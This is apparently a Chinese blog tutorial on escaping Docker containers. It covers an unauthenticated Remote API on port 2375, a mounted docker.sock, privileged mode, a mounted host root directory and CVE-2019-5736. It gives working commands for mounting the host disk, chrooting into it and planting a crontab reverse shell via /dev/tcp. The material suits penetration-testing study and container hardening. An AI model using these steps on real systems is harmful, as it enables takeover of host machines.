生命在于学习——docker逃逸

news2024/10/3 6:31:11

在这里插入图片描述
注意:本篇文章仅用于学习记录,不得用于其他用途。

一、docker逃逸

docker逃逸就是从当前docker容器权限中逃逸出来,获得宿主机的权限。

二、常见的逃逸方法

1、配置不当引起的逃逸

(1)Docker Remote API未授权访问

(2)docker.sock挂载到容器内部

(3)privileged特权模式启动docker

(4)挂载敏感目录(如:宿主机根目录)

2、Docker软件设计引起的逃逸(漏洞)

(1)runC容器逃逸漏洞(CVE-2019-5736)

(2)Docker cp命令(CVE-2019-14271)

3、内核漏洞引起的逃逸

脏牛漏洞,实战遇到的也不多,逃逸的原理是宿主机的内核有脏牛提权漏洞,docker容器又是和宿主机公用一套内核的,所在docker容器内使用脏牛拿的root shell,是内核级别的,即拿到了宿主机的root shell。


##		4、如何判断是宿主机还是docker容器
###		(1)检查根目录下./dockerenv文件是否存在
ls -la ./dockerenv
###		(2)检查/proc/1/cgroup内是否包含"docker"等字符串
cat /proc/1/cgroup
###		(3)其他特征
容器ip大多是172.17段,而且很多常见的命令缺失。
#		三、配置不当引起的逃逸
##		1、Docker Remote API未授权访问
==先看一眼Docker Remote API是否存在未授权,2375端口是否开放。==
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可以直接调用API来操作docker。

```powershell
列出容器信息,效果与docker ps一致
curl http://<target>:2375/containers/json

环境准备
在这里插入图片描述
漏洞原理
在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上
利用思路:通过挂在宿主机的目录,写定时任务获取shell,从而逃逸。
漏洞利用

在这里插入图片描述

2、挂载Docker.sock

指的是容器在启动的时候,挂载了/var/run/docker.sock,一般很少遇到。
/var/run/docker.sock是Docker守护程序默认监听的Unix套接字,它也是一个用于从容器内与Docker守护进程通信的工具。
实验环境准备

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

随后在docker容器中安装docker

# ubuntu 18.04 安装docker
apt-get update
# 安装依赖包
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties- common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 验证您现在是否拥有带有指纹的密钥
apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
apt-get update
# 安装最新的Docker-ce
apt-get install docker-ce
# 启动
systemctl enable docker systemctl start docker

安装完成后我们使用docker ps就可以看到宿主机上的容器了。
漏洞利用
将宿主机的根目录之间挂载到容器中的容器。

docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju

3、Docker特权容器逃逸

实战中要先看一下是不是特权容器。
docker中存在一些比较高危的启动命苦,基于容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。
利用原理
特权容器可以直接在容器内挂载整个宿主机的磁盘,通过计划任务反弹宿主机的shell,进而实现了容器逃逸。
漏洞复现
通过特权模式运行一个容器。

docker run -it --privileged ubuntu:18.04

查看当前容器是否是特权容器

cat /proc/1/status | grep Cap
如果查询出来的值是00000003ffffffff,那么可以说明当前容器是特权容器。

在容器内,查看磁盘文件

fdisk -l

可以直接挂载宿主机的磁盘

mkdir ysz
mount /dev/sda5 ysz/
chroot /ysz

查看宿主机的etc/passwd

cat /etc/passwd

写计划任务反弹shell
在这里插入图片描述

4、挂载宿主根目录

环境准备
docker run -it -v /:/11111/ubuntu:18.04
漏洞利用
还是一样可以通过crontab反弹shell
chroot uzju
uzju是对应容器的目录。
crontab -e
*****/bin/bash -i >& /dev/tcp/ip/port 0>&1

四、CVE-2019-5736

需要管理员再次手动进入容器触发。
漏洞原理
漏洞点在于runC,runC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来,作为低级别容器运行时,runC主要由高级别容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具,像docker这样高级别容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器,将进程附加到现有容器等。
==在Docker18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。
影响版本
docker version <= 18.09.2
runc version <= 1.0-rc6
环境搭建
ubuntu18.04

sudo su
apt update
apt install lrzsz
apt install curl
apt install openssh-server
service sshd status

在这里插入图片描述
漏洞复现
exp
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
编译
set GOARCH=amd64
set GOOS=linux
go build main.go
将编译好的main文件上传至docker容器
使用wget命令。
在docker容器中运行文件。
在这里插入图片描述
接收反弹的shell,可以发现是宿主机。
解决方案:
盛极docker到最新的版本。
这个方法逃逸后,动静大,容器坏了,进不去也结束不了。

五、总结

1、docker remote api未授权访问,使用api创建一个挂在了宿主机根目录的容器,实现逃逸。

2、如果当前容器挂载了/var/run/docker.sock,可以在容器里面安装docker,拉取镜像,创建容器,然后挂载宿主机的根目录。

3、如果容器是使用特权创建的,即创建的时候使用了–privileged参数,可以直接挂载宿主的磁盘到容器中,进而实现逃逸。

4、如果容器挂载了宿主机根目录,直接使用chroot切换到宿主机的shell,进而实现逃逸。

5、利用存在的漏洞逃逸,如,runC容器逃逸漏洞(CVE-2019-5736),Docker cp命令(CVE-2019-14271)等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/54134.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jsp汽车租赁管理系统Myeclipse开发sqlserver数据库web结构java编程计算机网页项目

一、源码特点 jsp汽车租赁管理系统 是一套完善的web设计系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为 TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库sqlserver2008&#xff…

应用现代化方案实践,重塑企业应用价值—工业篇

应用现代化是指通过更现代和新兴的IT技术来改造或部署传统应用&#xff0c;从而使应用更适合企业发展的一种优化方式。在企业上云背景下&#xff0c;应用现代化改造是将遗留的传统应用改造升级到云计算环境&#xff0c;从而兼容更现代和新兴的计算技术的过程。这种改造升级的同…

软件测试分类

1、是否关注源代码 黑盒测试 - 不关注代码逻辑&#xff0c;只关注输入输出 白盒测试 - 看代码的具体实现逻辑 灰盒测试 - 既关注输入输出&#xff0c;也关注代码 2、基于测试的不同阶段 单元测试 - 在底层进行的测试&#xff0c;又称模块测试&#xff08;module testing&a…

python数组处理方法

一、数组对象的属性 数组的大小&#xff08;元素个数&#xff09; array.size数组的维度 array.ndim数组元素的数据类型 array.dtype数组的形状 array.shape数组中每个元素占用的内存空间 array.itemsize数组所有元素占用的内存空间&#xff08;字节&#xff09; array.nbytes…

实验7 Spark初级编程实践

一、实验目的 掌握使用 Spark 访问本地文件和 HDFS 文件的方法掌握 Spark 应用程序的编写、编译和运行方法 二、实验平台 操作系统&#xff1a;Ubuntu18.04&#xff08;或 Ubuntu16.04&#xff09;Spark 版本&#xff1a;2.4.0Hadoop 版本&#xff1a;3.1.3 三、实验内容和…

举个栗子~Alteryx 技巧(3):离线激活 Alteryx Designer

之前我们分享了 如何下载并安装 Alteryx Designer。然而&#xff0c;对于内网环境的用户来说&#xff0c;就无法使用上述方法来激活软件了&#xff01;那么&#xff0c;不能连接外网的电脑该如何离线激活 Alteryx Designer 呢&#xff1f; 本期《举个栗子&#xff01;Alteryx …

opencv c++ 边缘提取

1、边缘 1.1 边缘定义 以图像像素值突变最大的方向作为边缘法线&#xff0c;与边缘法线垂直的就是边缘。 边缘强度&#xff1a;局部图像上的像素值突变程度&#xff08;图像局部一阶梯度和二阶梯度值&#xff09;。 1.2 边缘类别 跃迁类型 …

645仪表以JSON格式上发方法

1.概述 之前我们已经介绍了Modbus RTU仪表实现JSON格式上发云服务器的方法&#xff0c;类似的现在也可以支持645协议的仪表通过JSON格式上发服务器。 卓岚实现645仪表转JSON网关的特点有&#xff1a; 1.提供透传、MQTT、POST、GET等上位机协议&#xff0c;结合JSON格式进行传…

CSS三大特性之层叠性

CSS的三个特性&#xff1a;层叠性&#xff0c;继承性&#xff0c;优先级 层叠性&#xff1a; 相同选择器给设置相同的样式&#xff0c;此时一个样式就会覆盖(层叠)另一个冲突的样式&#xff0c;层叠性主要解决样式冲突的问题。 层叠性原则&#xff1a; 样式冲突&#xff0c…

Deadlock found when trying to get lock; try restarting transaction

报错详情 Error updating database. Cause: com.mysql.cj.jdbc.exceptions.MySQLTransactionRollbackException: Deadlock found when trying to get lock; try restarting transaction The error may involve com.iss.cms.fdrb.common.dao.entity.InterfaceQueue.updateInt…

数据库、计算机网络,操作系统刷题笔记6

数据库、计算机网络&#xff0c;操作系统刷题笔记6 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle&…

RK3588平台开发系列讲解(Thermal篇)Thermal介绍及用法

平台内核版本安卓版本RK3588Linux 5.10Android12🚀返回专栏总目录 文章目录 一、Thermal介绍二、相关代码路径三、用户态接口说明四、常见问题4.1 关温控4.2 获取当前温度沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将介绍Thermal的相关内容及调试手段。 一…

环境配置之终端WezTerm

前言 其实是在复习的过程中发现终端非常别扭&#xff0c;了解了一些大佬的使用方式后&#xff0c;尝试使用一个多平台的终端应用。 环境配置 之前在MAC上使用过的终端包括ZenTermLite和Item2&#xff0c;这次使用一个跨平台的终端WezTerm&#xff01; 缺点就是自定义的地方太…

JUC并发编程第七篇,volatile凭什么可以保证可见性和有序性?我们该如何正确使用它?

JUC并发编程第七篇&#xff0c;volatile凭什么可以保证可见性和有序性&#xff1f;我们该如何正确使用它&#xff1f;一、volatile的作用是什么&#xff1f;二、什么是内存屏障&#xff1f;三、四大内存屏障指令源码解析&#xff01;四、volatile如何通过内存屏障保证可见性和有…

Spring MVC数据绑定和表单标签的应用(附带实例)

为了让读者进一步学习数据绑定和表单标签&#xff0c;本节给出了一个应用范例 springMVCDemo04。该应用中实现了 User 类属性和 JSP 页面中表单参数的绑定&#xff0c;同时在 JSP 页面中分别展示了 input、textarea、checkbox、checkboxs、select 等标签。 应用的相关配置 在…

解析csv文件,读取百万级数据

最近在处理下载支付宝账单的需求&#xff0c;支付宝都有代码示例&#xff0c;功能完成还是比较简单的&#xff0c;唯一的问题就在于下载后的文件数据读取。账单文件可大可小&#xff0c;要保证其可用以及性能就不能简单粗暴的完成开发就行。 文件下载是是csv格式&#xff0c;此…

干货|成为优秀软件测试工程师的六大必备能力

“软件吞噬世界”、“软件定义一切”。随着软件行业的迅速发展&#xff0c;保障软件质量的关键环节——软件测试也变得越来越重要。而执行测试工作的测试工程师&#xff0c;便是软件质量的把关者。 测试工程师早在2005年就被劳动和社会保障部门列入第四批新职业中。经过短短几…

文件批量从gbk转成utf8的工具

工具名&#xff1a;GB/BIG5/UTF-8 文件编码批量转换程序 下载地址&#xff1a; https://www.wenjiangs.com/wp-content/uploads/2018/05/GB2UTF8.zip 程序功能&#xff1a;将 GB、BIG5、UTF-8 文件相互转换&#xff0c;方便的批量处理能力&#xff0c;主要用于网站文件编码方式…

单商户商城系统功能拆解41—应用中心—用户储值

单商户商城系统&#xff0c;也称为B2C自营电商模式单店商城系统。可以快速帮助个人、机构和企业搭建自己的私域交易线上商城。 单商户商城系统完美契合私域流量变现闭环交易使用。通常拥有丰富的营销玩法&#xff0c;例如拼团&#xff0c;秒杀&#xff0c;砍价&#xff0c;包邮…